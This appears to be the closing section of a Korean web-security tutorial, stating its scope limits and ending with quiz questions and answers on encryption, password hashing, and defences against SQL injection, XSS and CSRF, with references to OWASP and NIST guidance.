키 관리는 이 글의 범위 밖입니다. 앞의 예제에서 키를 만드는 코드는 두 줄이지만, 실제로 어려운 것은 그 키를 어디에 두고, 누가 접근하고, 어떻게 회전하고, 유출됐을 때 무엇을 하는가입니다. 이 영역은 전문 인력과 전용 시스템이 필요합니다. 커스텀 암호 프리미티브를 직접 설계하는 것은 고전적인 실패 방식입니다. 안전한 암호 알고리즘을 잘못된 모드나 잘못된 논스 재사용으로 쓰는 것만으로도 무력화되며, 그 실패는 대개 조용해서 테스트로 드러나지 않습니다. 개인정보나 결제 정보처럼 규제를 받는 데이터를 다룬다면 법적 요구사항이 기술적 판단보다 먼저 오는 지점이 있고, 이 글은 그 판단을 대신할 수 없습니다.

앞부분의 처리량 수치는 자릿수 감각을 위한 예시입니다. 실제 값은 하드웨어, 구현, 키 크기, 운영 모드에 따라 크게 달라지므로 성능 판단이 필요하다면 자기 환경에서 직접 측정하세요.

Part 3에서 소개한 Zero Trust의 세 원칙은 업계에서 널리 쓰이는 요약입니다. 규범 문서는 NIST SP 800-207 "Zero Trust Architecture"이며, 이 문서는 제로 트러스트를 정적이고 네트워크 경계 기반인 방어에서 사용자, 자산, 리소스 중심으로 옮겨 가는 진화하는 사이버보안 패러다임의 집합으로 정의합니다. 세부 원칙 목록은 해당 문서 본문에서 확인하세요.

마지막으로, 가장 중요한 한 줄입니다. 체크리스트를 통과한 것과 시스템이 안전한 것은 다릅니다. OWASP Top 10은 순위이지 요구사항 명세가 아니며, 여기 없는 취약점으로도 서비스는 얼마든지 뚫립니다. 체크리스트는 대화를 시작하기 위한 도구이지 대화를 끝내기 위한 도구가 아닙니다.

참고 자료

모두 2026-08-16에 직접 확인했습니다.


📝 퀴즈 — 보안 (클릭해서 확인!)

Q1. 대칭키와 비대칭키 암호화의 차이와 각각의 용도는? ||대칭키: 같은 키로 암호화/복호화, 빠름 (AES) — 데이터 전송/저장 암호화. 비대칭키: 공개키/개인키 쌍, 느림 (RSA) — 키 교환, 전자 서명||

Q2. bcrypt가 SHA-256보다 비밀번호 저장에 안전한 이유는? ||1) 솔트로 레인보우 테이블 무력화 2) 의도적으로 느린 해싱으로 브루트포스 방어 3) rounds 조절로 미래 하드웨어 발전 대응||

Q3. SQL Injection의 근본 원인과 방어법은? ||근본 원인: 사용자 입력이 SQL 쿼리의 일부로 해석됨. 방어: Prepared Statement(파라미터 바인딩)으로 입력을 데이터로만 취급||

Q4. XSS와 CSRF의 차이는? ||XSS: 공격자의 스크립트가 피해자 브라우저에서 실행. CSRF: 피해자의 인증된 세션으로 공격자가 원하는 요청을 전송. XSS는 클라이언트, CSRF는 서버를 속이는 공격||

Q5. TLS 핸드셰이크에서 대칭키와 비대칭키가 각각 쓰이는 단계는? ||비대칭키: 핸드셰이크 단계에서 키 교환(ECDHE). 대칭키(AES): 데이터 전송 단계. 비대칭키로 안전하게 대칭키를 합의한 후, 빠른 대칭키로 실제 통신||

Q6. Zero Trust의 3원칙은? ||1) Verify Explicitly: 모든 요청을 명시적으로 인증/인가 2) Least Privilege: 최소 권한만 부여 3) Assume Breach: 이미 침해됐다고 가정하고 설계||

Q7. HSTS 헤더의 역할은? ||브라우저에게 해당 도메인은 HTTPS로만 접속하라고 지시. HTTP → HTTPS 리다이렉트 중 발생할 수 있는 중간자 공격 방지||

퀴즈

Q1: 이 글이 인용하는 OWASP Top 10은 어느 판이며, SQL Injection과 XSS는 어디에 속하나요? 2025판입니다. 둘 다 A05:2025 Injection에 속하며, A05 문서는 XSS(CWE-79)를 매핑된 CWE 목록에 포함합니다. IDOR은 A01:2025 Broken Access Control에 속합니다. 사내 가이드에 판을 적지 않고 "Top 10 준수"라고만 쓰면 어느 판을 말하는지 알 수 없습니다.

Q2: 파라미터 바인딩이 막지 못하는 자리는 어디인가요? 바인드 변수를 쓸 수 없는 자리입니다. OWASP SQL Injection Prevention Cheat Sheet는 테이블 이름, 컬럼 이름, 정렬 순서 지시자(ASC 또는 DESC)를 예로 들고, 이런 부분에는 입력 검증이나 쿼리 재설계가 가장 적절하며 구체적으로는 허용된 이름으로 매핑하라고 권합니다.

Q3: HTML 이스케이프만으로 XSS가 막히지 않는 이유는 무엇인가요? 출력 인코딩은 인코딩한 그 컨텍스트에서만 유효하기 때문입니다. HTML 본문, HTML 속성, 자바스크립트, URL, CSS는 각각 다른 인코딩을 요구합니다. OWASP 문서는 자바스크립트 컨텍스트에서 변수를 놓을 수 있는 안전한 위치는 따옴표로 감싼 데이터 값 안뿐이며 나머지는 모두 안전하지 않다고 명시합니다.

Q4: SameSite 쿠키로 CSRF 토큰을 대체할 수 있나요? 대체할 수 없습니다. OWASP CSRF Prevention Cheat Sheet는 SameSite가 심층 방어 통제로는 유용하지만 대부분의 배포에서 제대로 된 CSRF 방어를 대체하지 못한다고 적습니다. 브라우저 기본값에 기대서도 안 되며, 구형 브라우저에서는 SameSite 값이 설정되지 않은 것처럼 동작할 수 있습니다. 그리고 XSS가 남아 있으면 모든 CSRF 완화 기법이 무력화됩니다.

Q5: JWT를 세션으로 쓸 때 반드시 함께 설계해야 하는 것은 무엇인가요? 세션 무효화 경로입니다. OWASP JSON Web Token Cheat Sheet는 사용자 세션에 JWT를 쓴다면 세션 무효화를 관리할 방법이 필요하며 폐기된 세션과 토큰의 거부 목록으로 달성할 수 있다고 적습니다. 검증 시 허용 알고리즘을 고정하는 것도 함께 필요합니다.